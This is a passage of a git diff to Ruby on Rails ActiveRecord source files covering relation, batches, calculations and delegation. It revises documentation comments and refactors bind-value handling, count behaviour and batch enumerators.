- # # => <User id: 1, first_name: 'Penélope', last_name: nil>
+ # # => #<User id: 1, first_name: "Penélope", last_name: nil>
#
- # # Find the first user named Scarlett or create a new one with a particular last name.
+ # # Find the first user named "Scarlett" or create a new one with
+ # # a particular last name.
# User.create_with(last_name: 'Johansson').find_or_create_by(first_name: 'Scarlett')
- # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ # # => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
#
- # # Find the first user named Scarlett or create a new one with a different last name.
- # # We already have one so the existing record will be returned.
+ # This method accepts a block, which is passed down to +create+. The last example
+ # above can be alternatively written this way:
+ #
+ # # Find the first user named "Scarlett" or create a new one with a
+ # # different last name.
# User.find_or_create_by(first_name: 'Scarlett') do |user|
- # user.last_name = "O'Hara"
+ # user.last_name = 'Johansson'
# end
- # # => <User id: 2, first_name: 'Scarlett', last_name: 'Johansson'>
+ # # => #<User id: 2, first_name: "Scarlett", last_name: "Johansson">
+ #
+ # This method always returns a record, but if creation was attempted and
+ # failed due to validation errors it won't be persisted, you get what
+ # +create+ returns in such situation.
+ #
+ # Please note *this method is not atomic*, it runs first a SELECT, and if
+ # there are no results an INSERT is attempted. If there are other threads
+ # or processes there is a race condition between both calls and it could
+ # be the case that you end up with two similar records.
+ #
+ # Whether that is a problem or not depends on the logic of the
+ # application, but in the particular case in which rows have a UNIQUE
+ # constraint an exception may be raised, just retry:
+ #
+ # begin
+ # CreditAccount.find_or_create_by(user_id: user.id)
+ # rescue ActiveRecord::RecordNotUnique
+ # retry
+ # end
+ #
def find_or_create_by(attributes, &block)
find_by(attributes) || create(attributes, &block)
end
- # Like <tt>find_or_create_by</tt>, but calls <tt>create!</tt> so an exception is raised if the created record is invalid.
+ # Like <tt>find_or_create_by</tt>, but calls <tt>create!</tt> so an exception
+ # is raised if the created record is invalid.
def find_or_create_by!(attributes, &block)
find_by(attributes) || create!(attributes, &block)
end
@@ -188,8 +235,8 @@ module ActiveRecord
# Please see further details in the
# {Active Record Query Interface guide}[http://guides.rubyonrails.org/active_record_querying.html#running-explain].
def explain
- _, queries = collecting_queries_for_explain { exec_queries }
- exec_explain(queries)
+ #TODO: Fix for binds.
+ exec_explain(collecting_queries_for_explain { exec_queries })
end
# Converts relation objects to Array.
@@ -198,21 +245,30 @@ module ActiveRecord
@records
end
+ # Serializes the relation objects Array.
+ def encode_with(coder)
+ coder.represent_seq(nil, to_a)
+ end
+
def as_json(options = nil) #:nodoc:
to_a.as_json(options)
end
# Returns size of the records.
def size
- loaded? ? @records.length : count
+ loaded? ? @records.length : count(:all)
end
# Returns true if there are no records.
def empty?
return @records.empty? if loaded?
- c = count
- c.respond_to?(:zero?) ? c.zero? : c.empty?
+ if limit_value == 0
+ true
+ else
+ c = count(:all)
+ c.respond_to?(:zero?) ? c.zero? : c.empty?
+ end
end
# Returns true if there are any records.
@@ -236,8 +292,9 @@ module ActiveRecord
# Scope all queries to the current scope.
#
# Comment.where(post_id: 1).scoping do
- # Comment.first # SELECT * FROM comments WHERE post_id = 1
+ # Comment.first
# end
+ # # => SELECT "comments".* FROM "comments" WHERE "comments"."post_id" = 1 ORDER BY "comments"."id" ASC LIMIT 1
#
# Please check unscoped if you want to remove all previous scopes (including
# the default_scope) during the execution of a block.
@@ -248,10 +305,11 @@ module ActiveRecord
klass.current_scope = previous
end
- # Updates all records with details given if they match a set of conditions supplied, limits and order can
- # also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
- # database. It does not instantiate the involved models and it does not trigger Active Record callbacks
- # or validations.
+ # Updates all records in the current relation with details given. This method constructs a single SQL UPDATE
+ # statement and sends it straight to the database. It does not instantiate the involved models and it does not
+ # trigger Active Record callbacks or validations. Values passed to `update_all` will not go through
+ # ActiveRecord's type-casting behavior. It should receive only values that can be passed as-is to the SQL
+ # database.
#
# ==== Parameters
#
@@ -270,7 +328,7 @@ module ActiveRecord
def update_all(updates)
raise ArgumentError, "Empty list of attributes to change" if updates.blank?
- stmt = Arel::UpdateManager.new(arel.engine)
+ stmt = Arel::UpdateManager.new
stmt.set Arel.sql(@klass.send(:sanitize_sql_for_assignment, updates))
stmt.table(table)
@@ -284,7 +342,8 @@ module ActiveRecord
stmt.wheres = arel.constraints
end
- @klass.connection.update stmt, 'SQL', bind_values
+ bvs = arel.bind_values + bind_values
+ @klass.connection.update stmt, 'SQL', bvs
end
# Updates an object (or multiple objects) and saves it to the database, if validations pass.
@@ -308,7 +367,7 @@ module ActiveRecord
id.map.with_index { |one_id, idx| update(one_id, attributes[idx]) }
else
object = find(id)
- object.update_attributes(attributes)
+ object.update(attributes)
object
end
end
@@ -342,7 +401,7 @@ module ActiveRecord
if conditions
where(conditions).destroy_all
else
- to_a.each {|object| object.destroy }.tap { reset }
+ to_a.each(&:destroy).tap { reset }
end
end
@@ -388,17 +447,26 @@ module ActiveRecord
# If you need to destroy dependent associations or call your <tt>before_*</tt> or
# +after_destroy+ callbacks, use the +destroy_all+ method instead.
#
- # If a limit scope is supplied, +delete_all+ raises an ActiveRecord error:
+ # If an invalid method is supplied, +delete_all+ raises an ActiveRecord error:
#
# Post.limit(100).delete_all
- # # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit scope
+ # # => ActiveRecord::ActiveRecordError: delete_all doesn't support limit
def delete_all(conditions = nil)
- raise ActiveRecordError.new("delete_all doesn't support limit scope") if self.limit_value
+ invalid_methods = INVALID_METHODS_FOR_DELETE_ALL.select { |method|
+ if MULTI_VALUE_METHODS.include?(method)
+ send("#{method}_values").any?
+ else
+ send("#{method}_value")
+ end
+ }
+ if invalid_methods.any?
+ raise ActiveRecordError.new("delete_all doesn't support #{invalid_methods.join(', ')}")
+ end
if conditions
where(conditions).delete_all
else
- stmt = Arel::DeleteManager.new(arel.engine)
+ stmt = Arel::DeleteManager.new
stmt.from(table)
if joins_values.any?
@@ -444,17 +512,7 @@ module ActiveRecord
#
# Post.where(published: true).load # => #<ActiveRecord::Relation>
def load
- unless loaded?
- # We monitor here the entire execution rather than individual SELECTs
- # because from the point of view of the user fetching the records of a
- # relation is a single unit of work. You want to know if this call takes
- # too long, not if the individual queries take too long.
- #
- # It could be the case that none of the queries involved surpass the
- # threshold, and at the same time the sum of them all does. The user
- # should get a query plan logged in that case.
- logging_query_plan { exec_queries }
- end
+ exec_queries unless loaded?
self
end
@@ -466,34 +524,55 @@ module ActiveRecord
end
def reset
- @first = @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
+ @last = @to_sql = @order_clause = @scope_for_create = @arel = @loaded = nil
@should_eager_load = @join_dependency = nil
@records = []
+ @offsets = {}
self
end
# Returns sql statement for the relation.
#
- # Users.where(name: 'Oscar').to_sql
+ # User.where(name: 'Oscar').to_sql
# # => SELECT "users".* FROM "users" WHERE "users"."name" = 'Oscar'
def to_sql
- @to_sql ||= klass.connection.to_sql(arel, bind_values.dup)
- end
-
- # Returns a hash of where conditions
- #
- # Users.where(name: 'Oscar').where_values_hash
- # # => {name: "oscar"}
- def where_values_hash
- equalities = with_default_scope.where_values.grep(Arel::Nodes::Equality).find_all { |node|
- node.left.relation.name == table_name
+ @to_sql ||= begin
+ relation = self
+ connection = klass.connection
+ visitor = connection.visitor
+
+ if eager_loading?
+ find_with_associations { |rel| relation = rel }
+ end
+
+ arel = relation.arel
+ binds = (arel.bind_values + relation.bind_values).dup
+ binds.map! { |bv| connection.quote(*bv.reverse) }
+ collect = visitor.accept(arel.ast, Arel::Collectors::Bind.new)
+ collect.substitute_binds(binds).join
+ end
+ end
+
+ # Returns a hash of where conditions.
+ #
+ # User.where(name: 'Oscar').where_values_hash
+ # # => {name: "Oscar"}
+ def where_values_hash(relation_table_name = table_name)
+ equalities = where_values.grep(Arel::Nodes::Equality).find_all { |node|
+ node.left.relation.name == relation_table_name
}
binds = Hash[bind_values.find_all(&:first).map { |column, v| [column.name, v] }]
Hash[equalities.map { |where|
name = where.left.name
- [name, binds.fetch(name.to_s) { where.right }]
+ [name, binds.fetch(name.to_s) {
+ case where.right
+ when Array then where.right.map(&:val)
+ else
+ where.right.val
+ end
+ }]
}]
end
@@ -516,9 +595,17 @@ module ActiveRecord
includes_values & joins_values
end
+ # +uniq+ and +uniq!+ are silently deprecated. +uniq_value+ delegates to +distinct_value+
+ # to maintain backwards compatibility. Use +distinct_value+ instead.
+ def uniq_value
+ distinct_value
+ end
+
# Compares two relations for equality.
def ==(other)
case other
+ when Associations::CollectionProxy, AssociationRelation
+ self == other.to_a
when Relation
other.to_sql == to_sql
when Array
@@ -530,16 +617,6 @@ module ActiveRecord
q.pp(self.to_a)
end
- def with_default_scope #:nodoc:
- if default_scoped? && default_scope = klass.send(:build_default_scope)
- default_scope = default_scope.merge(self)
- default_scope.default_scoped = false
- default_scope
- else
- self
- end
- end
-
# Returns true if relation is blank.
def blank?
to_a.blank?
@@ -556,32 +633,32 @@ module ActiveRecord
"#<#{self.class.name} [#{entries.join(', ')}]>"
end
- private
+ protected
- def exec_queries
- default_scoped = with_default_scope
+ attr_reader :predicate_builder
- if default_scoped.equal?(self)
- @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, bind_values)
+ private
- preload = preload_values
- preload += includes_values unless eager_loading?
- preload.each do |associations|
- ActiveRecord::Associations::Preloader.new(@records, associations).run
- end
+ def exec_queries
+ @records = eager_loading? ? find_with_associations : @klass.find_by_sql(arel, arel.bind_values + bind_values)
- # @readonly_value is true only if set explicitly. @implicit_readonly is true if there
- # are JOINS and no explicit SELECT.
- readonly = readonly_value.nil? ? @implicit_readonly : readonly_value
- @records.each { |record| record.readonly! } if readonly
- else
- @records = default_scoped.to_a
+ preload = preload_values
+ preload += includes_values unless eager_loading?
+ preloader = build_preloader
+ preload.each do |associations|
+ preloader.preload @records, associations
end
+ @records.each(&:readonly!) if readonly_value
+
@loaded = true
@records
end
+ def build_preloader
+ ActiveRecord::Associations::Preloader.new
+ end
+
def references_eager_loaded_tables?
joined_tables = arel.join_sources.map do |join|
if join.is_a?(Arel::Nodes::StringJoin)
@@ -594,38 +671,16 @@ module ActiveRecord
joined_tables += [table.name, table.table_alias]
# always convert table names to downcase as in Oracle quoted table names are in uppercase
- joined_tables = joined_tables.flatten.compact.map { |t| t.downcase }.uniq
- string_tables = tables_in_string(to_sql)
+ joined_tables = joined_tables.flatten.compact.map(&:downcase).uniq
- if (references_values - joined_tables).any?
- true
- elsif (string_tables - joined_tables).any?
- ActiveSupport::Deprecation.warn(
- "It looks like you are eager loading table(s) (one of: #{string_tables.join(', ')}) " \
- "that are referenced in a string SQL snippet. For example: \n" \
- "\n" \
- " Post.includes(:comments).where(\"comments.title = 'foo'\")\n" \
- "\n" \
- "Currently, Active Record recognises the table in the string, and knows to JOIN the " \
- "comments table to the query, rather than loading comments in a separate query. " \
- "However, doing this without writing a full-blown SQL parser is inherently flawed. " \
- "Since we don't want to write an SQL parser, we are removing this functionality. " \
- "From now on, you must explicitly tell Active Record when you are referencing a table " \
- "from a string:\n" \
- "\n" \
- " Post.includes(:comments).where(\"comments.title = 'foo'\").references(:comments)\n\n"
- )
- true
- else
- false
- end
+ (references_values - joined_tables).any?
end
def tables_in_string(string)
return [] if string.blank?
# always convert table names to downcase as in Oracle quoted table names are in uppercase
# ignore raw_sql_ that is used by Oracle adapter as alias for limit/offset subqueries
- string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map{ |s| s.downcase }.uniq - ['raw_sql_']
+ string.scan(/([a-zA-Z_][.\w]+).?\./).flatten.map(&:downcase).uniq - ['raw_sql_']
end
end
end
diff --git a/activerecord/lib/active_record/relation/batches.rb b/activerecord/lib/active_record/relation/batches.rb
index b921f2eddb..20d24b409b 100644
--- a/activerecord/lib/active_record/relation/batches.rb
+++ b/activerecord/lib/active_record/relation/batches.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
module Batches
# Looping through a collection of records from the database
@@ -11,7 +10,7 @@ module ActiveRecord
# The #find_each method uses #find_in_batches with a batch size of 1000 (or as
# specified by the +:batch_size+ option).
#
- # Person.all.find_each do |person|
+ # Person.find_each do |person|
# person.do_awesome_stuff
# end
#
@@ -19,51 +18,100 @@ module ActiveRecord
# person.party_all_night!
# end
#
- # You can also pass the +:start+ option to specify
- # an offset to control the starting point.
+ # If you do not provide a block to #find_each, it will return an Enumerator
+ # for chaining with other methods:
+ #
+ # Person.find_each.with_index do |person, index|
+ # person.award_trophy(index + 1)
+ # end
+ #
+ # ==== Options
+ # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
+ # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+ # This is especially useful if you want multiple workers dealing with
+ # the same processing queue. You can make worker 1 handle all the records
+ # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
+ # (by setting the +:start+ option on that worker).
+ #
+ # # Let's process for a batch of 2000 records, skipping the first 2000 rows
+ # Person.find_each(start: 2000, batch_size: 2000) do |person|
+ # person.party_all_night!
+ # end
+ #
+ # NOTE: It's not possible to set the order. That is automatically set to
+ # ascending on the primary key ("id ASC") to make the batch ordering
+ # work. This also means that this method only works when the primary key is
+ # orderable (e.g. an integer or string).
+ #
+ # NOTE: You can't set the limit either, that's used to control
+ # the batch sizes.
def find_each(options = {})
- find_in_batches(options) do |records|
- records.each { |record| yield record }
+ if block_given?
+ find_in_batches(options) do |records|
+ records.each { |record| yield record }
+ end
+ else
+ enum_for :find_each, options do
+ options[:start] ? where(table[primary_key].gteq(options[:start])).size : size
+ end
end
end
# Yields each batch of records that was found by the find +options+ as
- # an array. The size of each batch is set by the +:batch_size+
- # option; the default is 1000.
- #
- # You can control the starting point for the batch processing by
- # supplying the +:start+ option. This is especially useful if you
- # want multiple workers dealing with the same processing queue. You can
- # make worker 1 handle all the records between id 0 and 10,000 and
- # worker 2 handle from 10,000 and beyond (by setting the +:start+
- # option on that worker).
- #
- # It's not possible to set the order. That is automatically set to
- # ascending on the primary key ("id ASC") to make the batch ordering
- # work. This also means that this method only works with integer-based
- # primary keys. You can't set the limit either, that's used to control
- # the batch sizes.
+ # an array.
#
# Person.where("age > 21").find_in_batches do |group|
# sleep(50) # Make sure it doesn't get too crowded in there!
# group.each { |person| person.party_all_night! }
# end
#
+ # If you do not provide a block to #find_in_batches, it will return an Enumerator
+ # for chaining with other methods:
+ #
+ # Person.find_in_batches.with_index do |group, batch|
+ # puts "Processing group ##{batch}"
+ # group.each(&:recover_from_last_night!)
+ # end
+ #
+ # To be yielded each record one by one, use #find_each instead.
+ #
+ # ==== Options
+ # * <tt>:batch_size</tt> - Specifies the size of the batch. Default to 1000.
+ # * <tt>:start</tt> - Specifies the starting point for the batch processing.
+ # This is especially useful if you want multiple workers dealing with
+ # the same processing queue. You can make worker 1 handle all the records
+ # between id 0 and 10,000 and worker 2 handle from 10,000 and beyond
+ # (by setting the +:start+ option on that worker).
+ #
# # Let's process the next 2000 records
- # Person.all.find_in_batches(start: 2000, batch_size: 2000) do |group|
+ # Person.find_in_batches(start: 2000, batch_size: 2000) do |group|
# group.each { |person| person.party_all_night! }
# end
+ #
+ # NOTE: It's not possible to set the order. That is automatically set to
+ # ascending on the primary key ("id ASC") to make the batch ordering
+ # work. This also means that this method only works when the primary key is
+ # orderable (e.g. an integer or string).
+ #
+ # NOTE: You can't set the limit either, that's used to control
+ # the batch sizes.
def find_in_batches(options = {})
options.assert_valid_keys(:start, :batch_size)
relation = self
+ start = options[:start]
+ batch_size = options[:batch_size] || 1000
- unless arel.orders.blank? && arel.taken.blank?
- ActiveRecord::Base.logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
+ unless block_given?
+ return to_enum(:find_in_batches, options) do
+ total = start ? where(table[primary_key].gteq(start)).size : size
+ (total - 1).div(batch_size) + 1
+ end
end
- start = options.delete(:start)
- batch_size = options.delete(:batch_size) || 1000
+ if logger && (arel.orders.present? || arel.taken.present?)
+ logger.warn("Scoped order and limit are ignored, it's forced to be batch order and batch size")
+ end
relation = relation.reorder(batch_order).limit(batch_size)
records = start ? relation.where(table[primary_key].gteq(start)).to_a : relation.to_a
@@ -71,16 +119,13 @@ module ActiveRecord
while records.any?
records_size = records.size
primary_key_offset = records.last.id
+ raise "Primary key not included in the custom select clause" unless primary_key_offset
yield records
break if records_size < batch_size
- if primary_key_offset
- records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
- else
- raise "Primary key not included in the custom select clause"
- end
+ records = relation.where(table[primary_key].gt(primary_key_offset)).to_a
end
end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index ccc14dddeb..c8ebb41131 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation'
-
module ActiveRecord
module Calculations
# Count the records.
@@ -13,9 +11,33 @@ module ActiveRecord
# Person.count(:all)
# # => performs a COUNT(*) (:all is an alias for '*')
#
- # Person.count(:age, distinct: true)
+ # Person.distinct.count(:age)
+ # # => counts the number of different age values
+ #
+ # If +count+ is used with +group+, it returns a Hash whose keys represent the aggregated column,
+ # and the values are the respective amounts:
+ #
+ # Person.group(:city).count
+ # # => { 'Rome' => 5, 'Paris' => 3 }
+ #
+ # If +count+ is used with +group+ for multiple columns, it returns a Hash whose
+ # keys are an array containing the individual values of each column and the value
+ # of each key would be the +count+.
+ #
+ # Article.group(:status, :category).count
+ # # => {["draft", "business"]=>10, ["draft", "technology"]=>4,
+ # ["published", "business"]=>0, ["published", "technology"]=>2}
+ #
+ # If +count+ is used with +select+, it will count the selected columns:
+ #
+ # Person.select(:age).count
# # => counts the number of different age values
+ #
+ # Note: not all valid +select+ expressions are valid +count+ expressions. The specifics differ
+ # between databases. In invalid cases, an error from the database is thrown.
def count(column_name = nil, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
column_name, options = nil, column_name if column_name.is_a?(Hash)
calculate(:count, column_name, options)
end
@@ -23,8 +45,10 @@ module ActiveRecord
# Calculates the average value on a given column. Returns +nil+ if there's
# no row. See +calculate+ for examples with options.
#
- # Person.average('age') # => 35.8
+ # Person.average(:age) # => 35.8
def average(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:average, column_name, options)
end
@@ -32,8 +56,10 @@ module ActiveRecord
# with the same data type of the column, or +nil+ if there's no row. See
# +calculate+ for examples with options.
#
- # Person.minimum('age') # => 7
+ # Person.minimum(:age) # => 7
def minimum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:minimum, column_name, options)
end
@@ -41,8 +67,10 @@ module ActiveRecord
# with the same data type of the column, or +nil+ if there's no row. See
# +calculate+ for examples with options.
#
- # Person.maximum('age') # => 93
+ # Person.maximum(:age) # => 93
def maximum(column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
calculate(:maximum, column_name, options)
end
@@ -50,17 +78,9 @@ module ActiveRecord
# with the same data type of the column, 0 if there's no row. See
# +calculate+ for examples with options.
#
- # Person.sum('age') # => 4562
+ # Person.sum(:age) # => 4562
def sum(*args)
- if block_given?
- ActiveSupport::Deprecation.warn(
- "Calling #sum with a block is deprecated and will be removed in Rails 4.1. " \
- "If you want to perform sum calculation over the array of elements, use `to_a.sum(&block)`."
- )
- self.to_a.sum(*args) {|*block_args| yield(*block_args)}
- else
- calculate(:sum, *args)
- end
+ calculate(:sum, *args)
end
# This calculates aggregate values in the given column. Methods for count, sum, average,
@@ -78,7 +98,7 @@ module ActiveRecord
# puts values["Drake"]
# # => 43
#
- # drake = Family.find_by_last_name('Drake')
+ # drake = Family.find_by(last_name: 'Drake')
# values = Person.group(:family).maximum(:age) # Person belongs_to :family
# puts values[drake]
# # => 43
@@ -95,19 +115,17 @@ module ActiveRecord
#
# Person.sum("2 * age")
def calculate(operation, column_name, options = {})
- relation = with_default_scope
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+ column_name = attribute_alias(column_name)
+ end
- if relation.equal?(self)
- if has_include?(column_name)
- construct_relation_for_association_calculations.calculate(operation, column_name, options)
- else
- perform_calculation(operation, column_name, options)
- end
+ if has_include?(column_name)
+ construct_relation_for_association_calculations.calculate(operation, column_name, options)
else
- relation.calculate(operation, column_name, options)
+ perform_calculation(operation, column_name, options)
end
- rescue ThrowResult
- 0
end
# Use <tt>pluck</tt> as a shortcut to select one or more attributes without
@@ -131,7 +149,7 @@ module ActiveRecord
# # SELECT people.id, people.name FROM people
# # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
#
- # Person.uniq.pluck(:role)
+ # Person.pluck('DISTINCT role')
# # SELECT DISTINCT role FROM people
# # => ['admin', 'member', 'guest']
#
@@ -145,10 +163,10 @@ module ActiveRecord
#
def pluck(*column_names)
column_names.map! do |column_name|
- if column_name.is_a?(Symbol) && self.column_names.include?(column_name.to_s)
- "#{connection.quote_table_name(table_name)}.#{connection.quote_column_name(column_name)}"
+ if column_name.is_a?(Symbol) && attribute_alias?(column_name)
+ attribute_alias(column_name)
else
- column_name
+ column_name.to_s
end
end
@@ -156,24 +174,11 @@ module ActiveRecord
construct_relation_for_association_calculations.pluck(*column_names)
else
relation = spawn
- relation.select_values = column_names
+ relation.select_values = column_names.map { |cn|
+ columns_hash.key?(cn) ? arel_table[cn] : cn
+ }
result = klass.connection.select_all(relation.arel, nil, bind_values)
- columns = result.columns.map do |key|
- klass.column_types.fetch(key) {
- result.column_types.fetch(key) {
- Class.new { def type_cast(v); v; end }.new
- }
- }
- end
-
- result = result.map do |attributes|
- values = klass.initialize_attributes(attributes).values
-
- columns.zip(values).map do |column, value|
- column.type_cast(value)
- end
- end
- columns.one? ? result.map!(&:first) : result
+ result.cast_values(klass.column_types)
end
end
@@ -188,24 +193,26 @@ module ActiveRecord
private
def has_include?(column_name)
- eager_loading? || (includes_values.present? && (column_name || references_eager_loaded_tables?))
+ eager_loading? || (includes_values.present? && ((column_name && column_name != :all) || references_eager_loaded_tables?))
end
def perform_calculation(operation, column_name, options = {})
+ # TODO: Remove options argument as soon we remove support to
+ # activerecord-deprecated_finders.
operation = operation.to_s.downcase
- distinct = options[:distinct]
+ # If #count is used with #distinct / #uniq it is considered distinct. (eg. relation.distinct.count)
+ distinct = self.distinct_value
if operation == "count"
- column_name ||= (select_for_count || :all)
+ column_name ||= select_for_count
unless arel.ast.grep(Arel::Nodes::OuterJoin).empty?
distinct = true
end
column_name = primary_key if column_name == :all && distinct
-
- distinct = nil if column_name =~ /\s*DISTINCT\s+/i
+ distinct = nil if column_name =~ /\s*DISTINCT[\s(]+/i
end
if group_values.any?
@@ -229,33 +236,47 @@ module ActiveRecord
def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
# Postgresql doesn't like ORDER BY when there are no GROUP BY
- relation = reorder(nil)
+ relation = unscope(:order)
+
+ column_alias = column_name
+
+ bind_values = nil
if operation == "count" && (relation.limit_value || relation.offset_value)
# Shortcut when limit is zero.
return 0 if relation.limit_value == 0
query_builder = build_count_subquery(relation, column_name, distinct)
+ bind_values = query_builder.bind_values + relation.bind_values
else
column = aggregate_column(column_name)
select_value = operation_over_aggregate_column(column, operation, distinct)
+ column_alias = select_value.alias
+ column_alias ||= @klass.connection.column_name_for_operation(operation, select_value)
relation.select_values = [select_value]
query_builder = relation.arel
+ bind_values = query_builder.bind_values + relation.bind_values
end
- result = @klass.connection.select_value(query_builder, nil, relation.bind_values)
- type_cast_calculated_value(result, column_for(column_name), operation)
+ result = @klass.connection.select_all(query_builder, nil, bind_values)
+ row = result.first
+ value = row && row.values.first
+ column = result.column_types.fetch(column_alias) do
+ type_for(column_name)
+ end
+
+ type_cast_calculated_value(value, column, operation)
end
def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
group_attrs = group_values
if group_attrs.first.respond_to?(:to_sym)
- association = @klass.reflect_on_association(group_attrs.first.to_sym)
- associated = group_attrs.size == 1 && association && association.macro == :belongs_to # only count belongs_to associations
+ association = @klass._reflect_on_association(group_attrs.first)
+ associated = group_attrs.size == 1 && association && association.belongs_to? # only count belongs_to associations
group_fields = Array(associated ? association.foreign_key : group_attrs)
else
group_fields = group_attrs
@@ -265,7 +286,7 @@ module ActiveRecord
column_alias_for(field)
}
group_columns = group_aliases.zip(group_fields).map { |aliaz,field|
- [aliaz, column_for(field)]
+ [aliaz, field]
}
group = group_fields
@@ -305,12 +326,17 @@ module ActiveRecord
end
Hash[calculated_data.map do |row|
- key = group_columns.map { |aliaz, column|
+ key = group_columns.map { |aliaz, col_name|
+ column = calculated_data.column_types.fetch(aliaz) do
+ type_for(col_name)
+ end
type_cast_calculated_value(row[aliaz], column)
}
key = key.first if key.size == 1
key = key_records[key] if associated
- [key, type_cast_calculated_value(row[aggregate_alias], column_for(column_name), operation)]
+
+ column_type = calculated_data.column_types.fetch(aggregate_alias) { type_for(column_name) }
+ [key, type_cast_calculated_value(row[aggregate_alias], column_type, operation)]
end]
end
@@ -336,28 +362,26 @@ module ActiveRecord
@klass.connection.table_alias_for(table_name)
end
- def column_for(field)
+ def type_for(field)
field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split('.').last
- @klass.columns_hash[field_name]
+ @klass.type_for_attribute(field_name)
end
- def type_cast_calculated_value(value, column, operation = nil)
+ def type_cast_calculated_value(value, type, operation = nil)
case operation
when 'count' then value.to_i
- when 'sum' then type_cast_using_column(value || 0, column)
+ when 'sum' then type.type_cast_from_database(value || 0)
when 'average' then value.respond_to?(:to_d) ? value.to_d : value
- else type_cast_using_column(value, column)
+ else type.type_cast_from_database(value)
end
end
- def type_cast_using_column(value, column)
- column ? column.type_cast(value) : value
- end
-
+ # TODO: refactor to allow non-string `select_values` (eg. Arel nodes).
def select_for_count
if select_values.present?
- select = select_values.join(", ")
- select if select !~ /[,*]/
+ select_values.join(", ")
+ else
+ :all
end
end
@@ -367,9 +391,11 @@ module ActiveRecord
aliased_column = aggregate_column(column_name == :all ? 1 : column_name).as(column_alias)
relation.select_values = [aliased_column]
- subquery = relation.arel.as(subquery_alias)
+ arel = relation.arel
+ subquery = arel.as(subquery_alias)
sm = Arel::SelectManager.new relation.engine
+ sm.bind_values = arel.bind_values
select_value = operation_over_aggregate_column(column_alias, 'count', distinct)
sm.project(select_value).from(subquery)
end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index 2184625e22..50f4d5c7ab 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,8 +1,35 @@
+require 'set'
require 'active_support/concern'
-require 'mutex_m'
+require 'active_support/deprecation'
module ActiveRecord
module Delegation # :nodoc:
+ module DelegateCache
+ def relation_delegate_class(klass) # :nodoc:
+ @relation_delegate_cache[klass]
+ end
+
+ def initialize_relation_delegate_cache # :nodoc:
+ @relation_delegate_cache = cache = {}
+ [
+ ActiveRecord::Relation,
+ ActiveRecord::Associations::CollectionProxy,
+ ActiveRecord::AssociationRelation
+ ].each do |klass|
+ delegate = Class.new(klass) {
+ include ClassSpecificRelation
+ }
+ const_set klass.name.gsub('::', '_'), delegate
+ cache[klass] = delegate
+ end
+ end
+
+ def inherited(child_class)
+ child_class.initialize_relation_delegate_cache
+ super
+ end
+ end
+
extend ActiveSupport::Concern
# This module creates compiled delegation methods dynamically at runtime, which makes
@@ -10,18 +37,25 @@ module ActiveRecord
# may vary depending on the klass of a relation, so we create a subclass of Relation
# for each different klass, and the delegations are compiled into that subclass only.
- delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :to => :to_a
+ BLACKLISTED_ARRAY_METHODS = [
+ :compact!, :flatten!, :reject!, :reverse!, :rotate!, :map!,
+ :shuffle!, :slice!, :sort!, :sort_by!, :delete_if,
+ :keep_if, :pop, :shift, :delete_at, :compact, :select!
+ ].to_set # :nodoc:
+
+ delegate :to_xml, :to_yaml, :length, :collect, :map, :each, :all?, :include?, :to_ary, :join, to: :to_a
+
delegate :table_name, :quoted_table_name, :primary_key, :quoted_primary_key,
- :connection, :columns_hash, :auto_explain_threshold_in_seconds, :to => :klass
+ :connection, :columns_hash, :to => :klass
- module ClassSpecificRelation
+ module ClassSpecificRelation # :nodoc:
extend ActiveSupport::Concern
included do
@delegation_mutex = Mutex.new
end
- module ClassMethods
+ module ClassMethods # :nodoc:
def name
superclass.name
end
@@ -37,11 +71,9 @@ module ActiveRecord
end
RUBY
else
- module_eval <<-RUBY, __FILE__, __LINE__ + 1
- def #{method}(*args, &block)
- scoping { @klass.send(#{method.inspect}, *args, &block) }
- end
- RUBY
+ define_method method do |*args, &block|
+ scoping { @klass.public_send(method, *args, &block) }
+ end
end
end
end
@@ -59,73 +91,47 @@ module ActiveRecord
def method_missing(method, *args, &block)
if @klass.respond_to?(method)
self.class.delegate_to_scoped_klass(method)
- scoping { @klass.send(method, *args, &block) }
- elsif Array.method_defined?(method)
- self.class.delegate method, :to => :to_a
- to_a.send(method, *args, &block)
+ scoping { @klass.public_send(method, *args, &block) }
elsif arel.respond_to?(method)
self.class.delegate method, :to => :arel
- arel.send(method, *args, &block)
+ arel.public_send(method, *args, &block)
else
super
end
end
end
- module ClassMethods
- # This hash is keyed by klass.name to avoid memory leaks in development mode
- @@subclasses = Hash.new { |h, k| h[k] = {} }.extend(Mutex_m)
-
- def new(klass, *args)
- relation = relation_class_for(klass).allocate
- relation.__send__(:initialize, klass, *args)
- relation
+ module ClassMethods # :nodoc:
+ def create(klass, *args)
+ relation_class_for(klass).new(klass, *args)
end
